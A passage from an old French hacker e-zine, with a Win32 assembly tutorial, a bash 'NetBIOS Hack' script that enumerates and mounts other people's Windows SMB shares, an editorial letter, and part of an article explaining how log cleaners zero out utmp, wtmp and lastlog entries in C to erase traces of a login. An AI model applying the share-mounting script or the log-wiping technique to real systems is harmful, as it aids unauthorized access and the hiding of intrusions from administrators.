Windows. Rien n'empêche quelqu'un de tout supprimer dans le registre et
alors, bonjour les dégâts...



[ Les autres points de Penelope ]

*** Boîtes de dialogue ***

    Pour faire des boîtes de dialogues, c'est tout simple. Je vous renvoie
ici à l'article que j'ai écrit dans hccc#6 (voir adresse plus haut) pour
avoir une démarche détaillée.


*** Le générateur de nombre pseudo-aléatoire ***

    Là encore, je vous renvoie à l'article 'GNPA' paru dans RtCmag#3 et
reparu dans 'RtCmag at the end of the universe'. Je veux juste dire que j'ai
mis une version totalement 32 bits utilisant une récurrence linéaire d'ordre 2
congruentielle. Je stocke les valeurs de rand_seed1 et rand_seed2 dans le
registre dans la clé 'HKEY_LOCAL_MACHINE\Software\RtC\Penelope'.


*** Le file mapping ***

    Je n'ai rien à dire là non plus, je vous renvoie à l'article de Doxtor L.
'Infection Win32 Part 2 : Manipulation de fichier en asm' qui est très bien
fait et qui est paru dans 'RtCmag at the end of the universe'. Dans le cas de
Penelope, je rajoute au fichier crypté un entête contenant une signature
('XOR',0) et la clé du fichier crypté avec la clé de l'utilisateur. La
signature permet de savoir si oui ou non on a à faire à un fichier crypté
avec Penelope, c'est un procédé classique (Exemple : 'PK' pour les zip, 'PE'
pour les executables Win32, ...).







[ Comment avoir de l'ordre en asm... ]

    C'est un point que j'aimerais aborder parce que je ne l'ai vu abordé nul
part et il me semble important. Il est en effet très facile d'avoir un code
qui ne ressemble à rien en asm. Cette particularité vient du fait qu'il
n'existe aucun éditeur de texte dédié à l'assembleur contrairement à tous les
macrolangages. Pour ma part, j'utilise UltraEdit 8.00 que je trouve excellent
à tout point de vue : coloration syntaxique très complète, transformation
Tabulations en Espace, indentation automatique. Je le conseille à tout le
monde... La deuxième différence principale est la compilation. Avec un
macrolangage, on a un joli raccourci clavier sur l'éditeur et voilà ! En
assembleur, on y va à la  main. Heureusement, on peut automatiser la
compilation un minimum en utilisant des batch de compilation...
    Mais il ne faut pas accuser le manque de matériel. Savoir présenter un
code en asm est beaucoup plus important que dans tout autre langage. Et quand
je dis présenter, je parle aussi bien des sauts de lignes opportuns que du
nommage des variables, constantes... Un code mal présenté n'est pas agréable
à lire. Pour ma part, j'essaie de respecter des règles qui me sont propres.
J'espère que mes codes sont lisibles par le plus grand nombre. J'y accorde
beaucoup d'importance alors dites moi si des choses ne vous paraissent pas
claires.
    Pour finir, je voudrais lancer un appel aux extrémistes des debugger. Je
voudrais insister sur le fait que le meilleur debugger, c'est votre cerveau.
Il ne faut pas devenir dépendant des debuggers, souvent, il suffit juste de
réfléchir un peu, de regarder son code droit dans les yeux et l'erreur
apparaît ! Parfois, c'est un peu plus compliqué, elle est devant vous et vous
ne la voyez pas... Ça m'est déjà arrivé, une pauvre erreur qui m'a résisté
pendant un mois et demi. Quand c'est comme ça, laissez tombez, passez à autre
chose, et revenez sur votre code plus tard, avec des idées neuves, ça aide ;
vous n'avez personne derrière vous avec une kalashnikov pour vous imposer des
délais alors prenez votre temps ; à force, vous n'aurez même plus besoin de
débugguer vos codes.


[ Conclusion ]

    Je ne vous force pas à utiliser ce logiciel (je vous conseille même
fortement de ne pas l'utiliser :) ). Mais si vous avez le temps de l'essayer
au moins, et de me dire les bugs qu'il comporte, ce serait cool. J'en ai déjà
repéré quelques uns, mais je suis sûre qu'il y en a d'autres... Merci
d'avance.

Sinon, si vous voulez effacer toute présence de Penelope dans la base de
registre après l'avoir essayé, vous pouvez utiliser le programme 'Clean' qui
est spécialement fait pour ça. Voilà, c'est fini !

EOF



















---------------------------------------------------------------------------------------------------
IV.                       Programmation Win32asm  Part1.                        Disk-Lexic
---------------------------------------------------------------------------------------------------



[ Introduction ]

Salut à tous !
C'est mon premier article pour IOC Magazine et j'ai choisi de vous parler d'un sujet 
que l'on ne rencontre pas assez  souvent dans les textes  français ...

Souvenez vous , au départ était  DOS, le programmeur en assembleur était heureux, il
pouvait écrire partout ou il voulait, en mémoire,sur les ports d'entrée-sorties, sur 
les périphériques, il était maitre absolu de sa machine  et on aurait pu croire  que 
rien ne l'arrêterait. 

Et c'est alors que Microsoft à crée Windows.  Et voilà que tout était changé, sous 
l'oppression du mode  protégé, il ne peut plus faire  tout ce qu'il désire, car la 
firme de Redmond a décidé de mettre des restrictions un peu partout. C'est ainsi que
beaucoup se sont mis à programmer dans des langages de haut niveau. Depuis, de nombreux 
étudiants ne se doutent même plus de ce qui se passe réellement au sein de leurs machines. 

Et certains osent même dire qu'apprendre l'assembleur ne sert plus à rien. Contre ceux-là 
je me révolte et préfèrent rejoindre ces qulques irréductibles qui on choisi de ne pas subir 
cette dictature. Nous continuerons à vouloir tout savoir sur le déroulement des programmes, 
nous continuerons à vouloir tout apprendre sur la structure de vos fichiers. Nous ne vous 
laisserons pas nous aveugler derrière vos tonnes de couches logicielles que vous interposez 
entre l'utilisateur et la machine.

J'ai opté pour une démarche progressive et j'essairais tant que possible de la respecter.
Cela étant dit , Vous remarquerez que je ne suis pas parti du point zéro. Je n'ai pas 
l'intention de vous apprendre les bases de la programmation en assembleur, cela a été fait 
des centaines de fois. Pour cela je vous conseille de lire les e-zines 'reporter' et 'prograzine'. 
Je vous laisserais aussi le soin de vous renseigner sur les API windows par vous mêmes car je 
pense qu'il y a déjà suffisamment de documentation sur le sujet.
 
Je vais donc tenter de vous initier à la programmation win32asm à l'aide du compilateur TASM.
Parce que j'en ai assez que les informations ne concernent en majorité que MASM.
Bonne lecture et j'espère que je permettrais à beaucoup d'apprendre et de progresser .
Allez , c'est parti, jetons nous à l'eau !






[ Let's Go ]

Vous aurez besoin  :
-du compilateur TASM 5.0 (trouvable sur internet, essayez www.crackstore.com)
-de tasmedit (disponible sur mon site, c'est plus agréable que wordpad ou EDIT)
-d'ub déboggueur (Softice ou Turbo debugger ) . Ca sert toujours !
-de la liste des API windows ( trouvable sur internet )
-de rigueur
-de discipline
-de patience
-de sommeil ( à ne pas négliger. Si si J'y tiens) 



Avant toutes choses, essayez de vous débarasser des concepts que vous appris en 
assembleur en mode réel. L'asm win32 suit des règles qui lui sont propres.
Pour commencer, si on veut faire des programmes win32, il est nécessaire de déclarer 
et de disposer des fonctions et les strucures spécifiques à l'utilisation des 
directives Win32 . Ces fonctions sont contenues dans le fichier 'WIN32.INC' .
Pour cela, copiez le fichier 'c:\tasm\examples\wap32\win32.inc' vers le répertoire 
'c:\tasm\include\'

On commence donc par la façon dont on déclare les fonctions.
Ceci est exemple :

extrn BeginPaint : PROC


Faites attention à bien respecter la casse, car les programmes win32 y sont sensibles !

Pour appeler cette fonction , on fait :

Call BeginPaint

Je dois vous préciser qu'il y a deux types de caractères dans les programmes win32,
ANSI et UNICODE .
Pour utiliser des chaines du type ANSI , faites suivre les fonctions agissant sur les
chaines par un A, et pour UNICODE, par un W . example :

extrn TextOutA : PROC
extrn GetWindowTextW : PROC

Ensuite, il faut définir les types et strctures des données
(Il serait nécessaire d'avoir une référence des API windows
 que vous pourrez trouver dans VisualC++ par exemple).
Donc, on définit les strucures de la façon suivante:

MSGSTRUCT struc
	msHWND	UINT		?
	msMESSAGE	UINT		?
	msWPARAM	UINT		?
	msLPARAM	UINT		?
	msTIME		ULONG 		?
	msPT		ULONG		2 dup(?)
MSGSTRUCT ends

Il faut à présent définir les types de données:

HDC equ <dd>

Les fonctions win32 nécessitent pour la majorité d'entre elles de recevoir des arguments .
TASM 5.0 possède une fonction qui permet de le faire à la façon des langages de
haut niveau :

CALL FUNC, 	Parms

Mais on peut qussi le faire manuellement

PUSH long 0
PUSH long 0
PUSH long 0
PUSH offset Msg
CALL GetMessage

Bon c'est pas compliqué, on met les paramètres sur la pile dans l'ordre inverse
à leur appel. Pour mieux saisir, regardez la façon dont se fait l'appel de cette fonction en
langage C :

GetMessage(&Msg, 0, 0, 0) ;

Toutes les valeurs de retour des fonctions sont mises dans le registre EAX.
Ici, la fonction GetMessage retourne un ZERO lorsqu'elle se termine .

MessageLoop:
PUSH long 0
PUSH long 0
PUSH long 0
PUSH offset Msg
CALL GetMessage
test eax,eax		; Doit on quitter la boucle ?
jz short EndProgram	; Si oui, on quitte le programme
push offset Msg
CALL TranslateMessage
push offset Msg
CALL DispatchMessage
jmp short MessageLoop
EndProgram:
push [Msg.wParam]
Call ExitProcess		; Fin du programme


Bon , là nous avons vu quelques briques de base en programmation Win32asm.
Nous allons désormais voir comment construire nos programmes .

La première chose à faire , et que vous devez déjà savoir, c'est de déclarer le type de processeur
pour lequel est destiné le programme.

.386  ou
.486 ou encore
.586

La différence est dans le fait que déclarer, par exemple, l'utilisation du processeur 486 vous
permettra d'utiliser les instructions spécifiques au 486( et qui sont donc non disponibles sous
le 386,. Logique non !! ) ;
Les instructions du 386 sont en général largement suffisante.

Ensuite , nous définissons le modèle de mémoire que l'on va utiliser.

.MODEL FLAT, 	STDCALL

Je vous parlerais des modèles mémoire dans un futur article.

Bon maintenant, on peut mettre nos include.

include WIN32.INC

C'est ce qui permettra à l'éditeur de liens ( TLINK32 dans notre cas )  d'importer les fonctions
et les structures qui nous interressent ( Je rappelle que lors d'une compilation, toutes les 
fonctions externes à notre code source sont 'liées et compilées' lors de l'édition de lien ) .

Bon, continuons ! C'est au tour des variables et des constantes de prendre place dans notre 
programme .

.data
Titre db "Ceci est le titre de mon beau programme",0

Et le code !

..code
extrn ExitProcess: Proc
extrn BeginPaint: Proc
DEBUT :
	; notre code
end DEBUT 	; fin du prog

Pour les données, voici ce dont nous aurons besoin :

Titre		db	"Titre de la fenetre",0
NonClasse	db	"Fenetre",0
Msg	MSGSTRUCT	<?>	; La structure du message
WC	WNDCLASS	<?>	; La classe de la fenêtre
hwnd	dd 	?		; Handle sur une fenêtre
hInstance	dd	?	; Handle sur une instance

On démarre notre code par un appel à GetModuleHandle.
Ca retourne un module, qui est l'équivalent de HINSTANCE .

push long 0
CALL GetModulehandle
mov [hInstance], eax	; On vient de récupérere l' instance.

Une fois en possession de notre hInstance, on veut aussi avoir la classe .
Un appel à RegClass et hop ! 

CALL RegClass 

En faisant une procedure , on aura un code un peu plus propre 
en ce qui concerne notre bloc WinMain .

Regclass PROC
mov eax, [hInstance]
mov [WC.clsHInstance],eax
mov [WC.clsStyle], 0
mov [WC.clsLpfnWndProc], offset WndProc
mov [WC.clsCbClsExtra], 0
mov [WC.clsCbWndExtra], 0

push long IDI APPLICATION		; Charge l'icone
push eax
call LoadIcon
mov [WC.clsHIcon], eax
mov [WC.hIconSm],eax

push long IDC_ARROW			; Charge le curseur
push long 0
call LoadCursor
mov [WC.clsHCursor], eax

push long BLACK_BRUSH		;Un fond d'écran noir
call GetStockObject
mov [WC.clsHbrBackground],eax
mov [WC.clsLpszMenuName], 0
mov [WC.clsLpszClassName], offset ClassName

push offset WC
call RegisterClass				; On enregistre notre fenêtre

RET
ENDP

Nous devons à présent créer la fenêtre.

call CreateWind		 ; Crée la fenêtre qu'on a précedemment définie.

Ici aussi on peut faire une procedure séparée pour avoir un WinMain plus clair.

CreateWind PROC

push long 0
push [hInst]
push long 0
push long 0
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long WS_OVERLAPPEDWINDOW	;Style de fenêtre se rafraichissant en cas de masquage
push offset TitleName
push offset ClassName
push long 0
		; Les options suivantes concernent CreateWindowEx
		; Il s'agit du type fenêtre étendue

call CreateWindowEx	 ; Crée la fenêtre
mov [hwnd], eax		; handle de la fenêtre parent retourné par CreateWindowEx

RET
ENDP

Maintenant, on fait appel à ShowWindow et UpdateWindow

push long SW_SHOW
push [hwnd]
call ShowWindow

push [hwnd]
call UpdateWindow

Ceci va donc creer et afficher la fenêtre sur l'écran.
N'oublions que nous sommes en programmation évenementielle
et que l'on doit gérer la boucle des messages dans WinMain.
Je me permet alors de faire un petit rappel sur la programmation evenementielle selon
windows.
On a une sorte de grosse boucle qui attend qu'on lui demande d'effectuer des actions tant 
que l'on ne lui ordonne pas de s'arrêter.
En  fait vous avez probablement déjà fait de la programmation evenementielle sans forcément 
le savoir. Mais , si, quand vous faites des menus à choix en mode texte. C'est du genre :

Tant qu'on ne quitte pas faire :
	-si 'enregistrer' alors executer la fonction 'Save'
	-si 'charger' alors executer la fonction 'Load'
	-si 'imprimer' alors executer la fonction 'Print'
	-si 'patati patata alors etc, etc, etc.............
	-si 'quitter' alors executer la fonction 'Exit'
Fin de la grosse boucle.(Le programme se termine).

Ben pour windows c'est à peu près pareil
Les actions sont saisies dans une structure MSG que voici

struct MSG
{
	HWND hWnd ;		// Handle de la fenêtre
	UINT message ;		// Id du message
	WPARAM wParam ;	// Paramètre du message (32bits)
	LPARAM lParam ;	// Paramètre du message
	DWORD time  ;		// Heure de mise en file d'attente
	POINT pt ;		// Position de la souris
}

alors ça resssemble à ceci :

Attent une entrée dans MSG :
Si on a une entrée pour MSG, on la met dans la file d'attente
Si message est QUIT, alors on sort du programme
Sinon
On Transforme le message en binaire via la fonction TranslateMessage(&MSG)
Puis on execute notre message via la fonction DispatchMessage(&MSG)
Fermeture de boucle .

Et voilà , rien de bien sorcier !
Et en assembleur , ça nous donne ceci :

MessageLoop :
push long 0
push long 0
push long 0
push offset Msg
call GetMessage		; Appel de la fonction GetMessage

test eax,eax		; A t'on le message 'exit'
jz short EndProgram	; si oui , on va à la fin du programme

push offset Msg
call TranslateMessage	; sinon, on traduit le message en binaire

push offset Msg
call DispatchMessage	; et on execute le message !

jmp short MessageLoop	; On continue notre manège jusqu'à plus soif !
		
EndProgram:		; Ca , c'est au cas ou on a plus soif justement ;-)
push [Msg.wParam]
call ExitProcess		; A tchao ! 

Comme vous avez pu le voir , ça ressemble bien au schéma général que 
je vais fait juste avant.

Donc , au final, notre cher petit programme ressemble à ce qui suit :


.486p
.MODEL FLAT, STDCALL
include WIN32.INC

.DATA

Msg	MSGSTRUCT <?>		; La structure Message
WC 	WNDCLASS <?>			; La classe Windows
hwnd		dd    ?			; Handle de fenêtre
hInstance	dd    ?			; Handle de l'Instance

.CODE

START :

push long 0
call GetModule
mov [hInstance], eax			 ;On prend l'instance

call RegClass				; Enregistrement de la Class
call CreateWind				; Création de la fenêtre

push long SW_SHOWNORMAL
push	[hwnd]
call ShowWindow			; Montre la fenêtre

push [hwnd]
call UpdateWindow			; Rafraichit la fenêtre

MessageLoop:
push long 0
pus long 0
push long 0
push offset Msg
call GetMessage				; Appel de la fonction GetMessage

text eax,eax				; Doit on sortir ?
jz short EndProgram			; oui, alors on s'éclipse

push offset Msg
call TranslateMessage			; Non, on Traduit le message en binaire

push offset Msg
call DispatchMessage			; et on execute notre action

jmp short MessageLoop			; Ce tant qu'on pas recu l'ordre de sortir

EndProgram:				; On an choisi d'en finir

push [Msg.wParam]
call ExitProcess				; On a fini
					;On est à la fin de WinMain

Regclass PROC
mov eax, [hInstance]
mov [WC.clsHInstance],eax
mov [WC.clsStyle], 0
mov [WC.clsLpfnWndProc], offset WndProc
mov [WC.clsCbClsExtra], 0
mov [WC.clsCbWndExtra], 0

push long IDI APPLICATION		; Charge l'icone
push eax
call LoadIcon
mov [WC.clsHIcon], eax
mov [WC.hIconSm],eax

push long IDC_ARROW			; Charge le curseur
push long 0
call LoadCursor
mov [WC.clsHCursor], eax

push long BLACK_BRUSH		;Un fond d'écran noir
call GetStockObject
mov [WC.clsHbrBackground],eax
mov [WC.clsLpszMenuName], 0
mov [WC.clsLpszClassName], offset ClassName

push offset WC
call RegisterClass				; On enregistre notre fenêtre

RET
ENDP

CreateWind PROC

push long 0
push [hInst]
push long 0
push long 0
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long CW_USEDEFAULT
push long WS_OVERLAPPEDWINDOW	;Style de fenêtre se rafraichissant en cas de masquage
push offset TitleName
push offset ClassName
push long 0
		; Les options suivantes concernent CreateWindowEx
		; Il s'agit du type fenêtre étendue

call CreateWindowEx	 ; Crée la fenêtre
mov [hwnd], eax		; handle de la fenêtre parent retourné par CreateWindowEx

RET
ENDP

END START 		;Fin du fichier

Vous pensez peut être qu'on en a fini , hein , Et bien non !
Il se peut que les appels 
call RegClass  et
call CreateWind 
renvoient une erreur, et ce parce que la fenêtre n'a pas été correctement enregistrée.
Et bien il nous suffit de tester si eax est égal à 0, et si c'est le cas, de faire appel  
à ExitProcess avec 0 en paramètre.
 
call RegClass

text eax,eax		; on vérifie qu'il n'y a pas d'erreur
jnz short NO_ERROR

push long 0
call ExitProcess

NO_ERROR:
call CreateWind		; Crée la fenêtre

test eax,eax		; On vérifie qu'il n'y a pas d'erreur
jnz short WINDOW_CREATED

push long 0
call ExitProcess

WINDOW_CREATED:
....
....
....


Et je suppose que vous vous dites , oui, c'est bien beau , on a crée  une 
fenêtre , mais notre programme , il ne fait encore rien !
Ca vient , ça vient .
La patience est une vertu qui s'offre à celui qui sait attendre.

Et bien les actions que l'on va envoyer à notre fenêtre s'appellent des callbacks .
Voici comment cela se fait :

WndProc PROC USES ebx edi esi, hwnd:DWORD, wmsg:DWORD, wparam:DWORD,
lparam:DWORD

; vous placez le code ici

ENDP

Un tout piti exemple de code :

mov eax, [Msg]
cmp eax, WM_CREATE
je W_CREATE

push [lParam]
push [wParam]
push [Msg]
push [hwnd]
call DefWindowProc		; procedure par défaut
RET

W_CREATE:
; du code

xor eax, eax
RET

Ah , j'allais oublier, pour compiler tout ça !
Vous trouverez avec TASM un makefile pour WAP32 (c'ad Windows application 32 bits)
dans TASM\EXAMPLES\WAP32\MAKEFILE  .
Copiez le là ou se trouve le source de cotre programme
changez la ligne
NAME = WAP32
par
NAME = Nomdevotreprogramme
Plus loin, vous trouverez ceci :
OBJS = $ (NAME) .obj
DEF =   $ (NAME).def
et bien sous ces deux lignes vous pouvez ajouter des ressources si vous en
disposez par la ligne suivante
RES  = $ (NAME) .RES
A chaque fois , vous remplacer $ (name) par le nom de votre programme.
N'oubliez pas que toutes les composantes doivent avoir le même nom.
par exemple : toto.asm, toto.res, toto.rc,  etc...)
Vous copier WAP32.DEF dans le même répertoire que votre code source
et vous le renommer en nomdevotreprogramme.def  .
Vous faites un MAKE -b
ou un MAKE -b DEBUG (Pour avoir les informations de déboggage)
Pour linker :
tlink32 /Tpe /aa /c $ (LINKDEBUG) $ (OBJS), $ (NAME),, $ (IMPORT), $ (DEFS), $ (RES)
Attention : ne mettez pas  $ (RES) si vous n'avez de ressources




[ Conclusion ]

Voilà, ça y est, c'est fini ...  On poursuivra la prochaine fois !
 
                               Disk-Lexic 
                         www.disk-lexic.fr.st

















----------------------------------------------------------------------------------------------
V.                             Petit Script Utile                                 MeiK
----------------------------------------------------------------------------------------------



Cet article est pour les 3l33t h4x0r5 qui h4x3n7 les W1nD0w5 Us3rs avec le fameux NetBIOS.
Je ne vais pas refaire un article là dessus, pour ça, vous aurez qu'à regarder les articles 
des autres zines qui en parlent. Si vous êtes sur un système UNIX et que vous ne comprenez 
rien à SAMBA, j'ai fait ce petit script qui vous sera très utile. Vous aurez besoin de SAMBA 
et de NBTSCAN. Pour les pauv' trisomiques qui savent pas ce qu'est SAMBA, c'est un ensemble 
d'utilitaires qui permettent de partager des fichiers en réseau local et entre autres de voir, 
mounter et utiliser des ressources Windows. C'est le même principe que NetBIOS, mais en plus 
performant et moins buggé si vous voulez. NBTSCAN est un programme qui vous permet d'interroger 
le NetBIOS d'une machine Windows et d'obtenir son nom NetBIOS, son adresse MAC et son nom 
d'utilisateur. Ces deux programmes peuvent être trouvés sur freshmeat.net.

Voici le script :

<-- COUPEZ ICI -->

#!/bin/bash

echo --------------------------------------
echo NetBIOS Hack v1.0 par MeiK
echo --------------------------------------
echo
echo
echo Entrez l'adresse IP:
read IP
nbtscan $IP
echo
echo Entrez le nom NetBIOS:
read NAME
smbclient -L $NAME -I $IP
echo
echo Entrez le nom du partage a monter:
read SHARE
smbmount //$NAME/$SHARE /mnt -o ip=$IP
echo
echo --------------------------------------


<-- COUPEZ ICI -->

Voilà, et surtout, ne faîtes pas trop chier le monde avec ça !!




------------------------------------------------------------------------------------------------
                  A ceux qui seraient déçus ...                                     MeiK
------------------------------------------------------------------------------------------------


J'écris cette lettre à ceux qui se demandent pourquoi je n'ai quasiment pas écrit 
pour ce numéro, et je ne vais pas y aller par mille chemins:

Je suis impliqué dans d'autres choses que le groupe IOC, ce qui me demande quand 
même pas mal de temps. Une grande partie est en rapport direct avec mon site. D'ailleurs, 
si vous vous demandez pourquoi il n'y a quasiment rien dessus, c'est parce que je 
le re-ouvrirais quand je l'aurais entièrement terminé. Vous pourrez vous tenir au courant
de l'évolution par le biais du site du groupe.

Aussi, si je n'ai pas fait trop d'articles, c'est aussi à cause du manque de 
participation de vous, lecteurs. Si vous nous disiez le genre d'articles dont 
vous avez envie, on saurait ce qu'on doit écrire. 

Pour pallier à ce problème, j'ai décidé d'organiser mes articles 
sous forme de dossiers ; à chaque numéro (à partir du #4), mes articles seront 
sur le même thème. J'ai par exemple décidé qu'au #4 je parlerai uniquement de 
sécurité informatique pure et simple sous Linux: autrement dit, vous ne trouverez 
rien en rapport avec d'autres systèmes ou d'autres sujets. Voici les sujets que 
j'ai décidé d'aborder (liste non exhaustive et pas dans l'ordre):

- Sécurité sous Linux
{
	Introduction à Linux
	Fonctionnement de Linux
	Sécurisation
	Tests
}
- Fichiers Password
{
	Structure
	Fonctionnement
	Cracking de passwds
	Tests de crackers
}
- Buffer Overflows
{
	Programmation C
	Programmation ASM
	Bases systèmes
	Exploits
	Explications
	Exemples
	Exploitation
}
- Systèmes d'exploitation
{
	Définitions
	Quelques systèmes d'exploitation
	Programmation d'OS avec le Flux OS Toolkit
}
- Denial of Service (DoS)
{
	Définition
	Nuke
	Flood
	Vrai Plantage
	Protection
}
- Firewalls & IDS
{
	Définitions
	Utilisation de IPChains ou IPTables
	Utilisation de LIDS
	Programmation de Firewall
}

Voilà, cette liste n'est pas exhaustive, et pas dans l'ordre. Je pense que pour couronner
le tout, comme j'ai du le préciser dans chaque section, je mettrais une partie d'application 
des connaissances là ou j'expliquerai comment réaliser un outil en particulier. Par exemple, 
j'expliquerai comment programmer un cracker de pass, un firewall, un OS... sans donner de code 
source dans le magazine (faudra le télécharger à part).

Voilà.














-----------------------------------------------------------------------------------------
VI.           Log Cleaners : Concepts et Programation                 Neofox         
-----------------------------------------------------------------------------------------





[ Introduction ]

Dans ce article, nous allons aborder le fonctionnement d'un log cleaner classic
et expliquer les différentes notions utiles à sa réalisation ; on verra ensuite
des méthodes de nettoyage plus preformantes et les notions de C sur lesquelles
elles s'appuient. 




                  


                ++++ | Partie I : Fonctionnement standard | ++++
                              
                                  => Concept de base
                                  => Les fonctions C
                                  => Illustration
                                  => Critiques
                                  
                                   





[ Avertissement ] 

Je ne vais pas revenir ici sur le rôle de chaque fichier de log. 
En effet, d'une part le rôle de utmp/wtmp/lastlog est bien connu
de tous, d'autre part, le nom, le rôle et la position des autres 
fichiers de log, varient en fonction de l'OS. Je ne vais pas non
plus en rapeller le fonctionnement vu la simplicité de la chose.
On passe donc directement à la suite.






   A. Le Concept  :
   ________________


[ Comment un cleaner efface vos traces ]


Nous allons nous concentrer sur le nettoyage de utmp, wtmp et lastlog.
Vous vous connectez à une machine X, au compte "toto", depuis "source.com".
Une entrée est donc ajoutée aux fichiers utmp qui a loggé votre présence,
à wtmp qui enregistre les détails de la connection, et à lastlog.
 
Alors, comment est-ce qu'un log cleaner efface vos traces ?
Eh bien, en fait, tout dépend du log cleaner comme nous le verrons plustard, 
mais en règle générale, le prog commençe par ouvrir le un fichier, disons, utmp, 
puis il prend la première entrée et la plaçe dans une structure prédéfinie. 
Il compare alors le champ "name" de cette structure ; si ce champ ne correspond pas
au nom d'utilisateur que vous avez entré en argument, c'est que l'entrée n'est pas
celle que vous voulez effaçer. Dans ce cas, le prog vide la structure puis la remplit
avec la seconde entrée du fichier. Il compare à nouveau le champ "user" et ainsi de
suite. Si en revanche le champ "user" correspond, alors le prog en déduit que c'est 
l'entrée que vous voulez effaçer. Il bourre alors la structure avec des "0". Il crée 
ensuite un décalage en arrière dans le fichier wtmp en cours de lecture, de manière 
à se retrouver pile au début de l'entrée à effaçer. Il imprime ensuite le contenu de 
la structure ( des 00000 ) par dessus l'ancienne entrée révélant votre présence. Puis
il referme le fichier. L'entrée que vous vouliez effaçer a donc été écrasée par une 
suite de "0", et le fichier en question ne contient plus traçe de votre présence. 

On récapitule pour que tout soit clair :

   ¤ ouverture du fichier en lecture/écriture.
   ¤ la premiere entrée est plaçée dans une structure.
   ¤ comparaison des champs de la structure avec les arguments.
   ¤ la structure est remplie de 0 si l'entrée est la bonne.
   ¤ décalage vers l'arrière dans le fichier ouvert.
   ¤ ecriture dans le fichier par dessus l'entrée originale.
   ¤ fermeture du fichier.
            


[ Les commandes who et last ]

Comme wtmp ne peuvent pas être lus directement, vous devez avoir recours
à la commande "last" pour afficher la liste des dernières connections. 
Le mode de fonctionnement est le même pour les deux autres fichiers. La commande 
"who" ou "w" permet d'afficher le contenu de utmp ; de la même manière que pour 
wtmp, la suite de 0 recouvrant vos traces n'est pas prise en compte par "who" lors 
de l'affichage des entrées. Notez que dans le cas de wtmp, nous ne voulons pas 
effaçer toutes les connections de l'utilisateur "toto" mais seulement la dernière, 
celle correspondant à notre connection à ce compte. C'est donc uniquement la dernière 
entrée pour cet user qui devra être effaçée de wtmp. Nous allons voir les fonctions 
de C mises en oeuvre pour effectuer le "nettoyage".








    B. Programmation :
    __________________


Ouvrir un fichier en lecture/écriture, vous savez faire  - avec la fonction open()
et le flag O_RDWR -  donc on ne vas pas s'y attarder plus longtemps. D'autres fonctions 
en revenche méritent quelques explications.


[ Les structures ]

Il y a deux types de structures à connaître pour comprendre la suite ; 
il s'agit de "utmp" et "lastlog". La première structure est utilisée à 
la fois pour traiter les entrées de utmp et celles de wtmp ; en effet, 
les champs de cette structure sont adaptés aussi bien pour les entrées 
du premier fichier que pour celles du second. La structure de type 
"lastlog" quant à elle, ben rien de spécial, sinon qu'elle sert à 
reçevoir les entrées de /var/log/lastlog. Voici un exemple simplifée
de ces structures :

struct utmp {

   char *ut_user;
   char *ut_host;
   char *ut_time;
}


struct lastlog {

   char *ll_host;
}



Les champs ut_user contiendront le nom d'user de la personne connectée, 
les champs ut_host/ll_host, le nom d'hôte de la machine cliente et ut_time, la
date et l'heure de la connection.




[ bzero() ]

Le rôle de la fontction bzero() est de remplir un bloc d'octets de 0.
Voici sa syntaxe :


   #include <string.h>

   void bzero (void *pointeur, int n);


bzero met a zero les n premiers octets pointés "pointeur".
Le pointeur peut trés bien pointer vers une structure de 
type utmp par exemple,  ce qui donnerait :

   int size;
   struct utmp u;

   size = sizeof(u);
   bzero (&u, size);


Il y a cela dit une autre fonction capable d'assurer le 
même rôle : memeset();






[ memset() ]

Comme bzero(), memset() peut remplir une structure de 0, mais
aussi d'autres données de type int. Sa syntaxe :

    #include <string.h>

    memset (void *s, int c, int n);

Ici, memset() remplit les n premiers octets pointés par s, avec
l'octet "n". De la même manière, on peut lui faire remplir une
structure de "0". Prenons l'exemple d'une structure lastlog :

    int size;
    struct lastlog last;

    size =  sizeof(last);
    memset(&last, 0, size);

L'effet est le même que celui obtenu à l'aide de bzero().






[ lseek() ]

La fonction read() vient de lire la première entrée d'un de nos trois fichiers
de log, et l'a plaçée dans la structure appropriée. bzero() a rempli cette
structure de 0. Nous voullons copier la suite de 0 par dessus l'ancienne entrée
qui vient d'être lue. Il faut donc "rembobiner", reculer la "tête de lecure/écriture"
au début de l'entrée conçernée. Voici la syntaxe de lseek() :


      #include <sys/types.h>
      #include <unistd.h>

      lseek (int fd, int n, int flag);


Ici, "fd" désigne le descripteur de fichier pointant sur le fichier ouvert
en lecture/écriture ; "n" est la taille en octets du décalage que l'on souhaite
créer ; enfin, "flag" désigne l'action à effectuer. 
Plusieurs types d'acction sont possibles : 

             
   ¤ SEEK_SET => Place la tête de lecture/écriture à n octets à partir du début du fichier.
   ¤ SEEK_CUR => Avance la tête de lecture/écriture de n octets.
   ¤ SEEK_END => Place tête de lecture/écriture à la fin du fichier + n octets.

Ces flags sont venus remplaçer les 3 anciens flags que voici :

   ¤ L_SET  => Donne "n" comme la nouvelle position de la tête dans le fichier ( = SEEK_SET ).
   ¤ L_INCR => Incrémente la position courrante de n octets ( = SEEK_CUR ).
   ¤ L_XTND => Déplace la tête de n octets à partir de la fin du fichier, et peut
               de cette façon en augmenter la taille ( = SEEK_END ).

Cela dit, nous utiliserons les nouveau flags ; nous n'en utiliseront même
qu'un seul : SEEK_CUR.  Ce dernier fait avançer la tête de lecutre/écriture
de n octets. Seulement, comme nous l'avons précisé, nous voulons reculer dans
le fichier. On va donc déplaçer la tête avec le flag SEEK_CUR de -n octets.





[ write() ]

Nous venons de reculer dans le fichier ouvert et la tête de lecture/écriture se trouve
maintenant au début de l'entrée à effaçer. La structure dans laquelle a été plaçé l'entrée
est remplie de 0. Nous voulons remplaçer l'entrée du fichier par la suite de 0, ce qui
revient à écrire le contenu de la structure dans le fichier, par dessus l'entrée.
On va utiliser write() ; sa syntaxe est la suivante :


      #include <unistd.h>
    
      write (int fd, char *buf, size);


"fd" est le descripteur de fichier et "buf" le buffer contenant les données de taille
"size" à écrire en direction de fd. Dans notre cas, les données à écrire sont contenues
dans la structure, ce qui va donner :

      int fd;
      struct utmp u;

      size =  sizeof(u);
      write (fd, &u, size);

Voila, l'entrée correspondant à votre connection est mainenant remplaçée par
une suite de 0. Nous allons voir avec une petite illustration l'action respective
de chaque commande.




[ strcmp() et strncmp() ]

La fonction strcmp() ( = "string compare" ) sert à comparer deux chaines de
type char. Si ces 2 chaines sont égales, elle retourne 0. La fonction
strncmp() quant à elle, a le même rôle si ce n'est qu'elle compare les
"n" premiers octets de ces deux chaines. Certains cleaners utilisent la
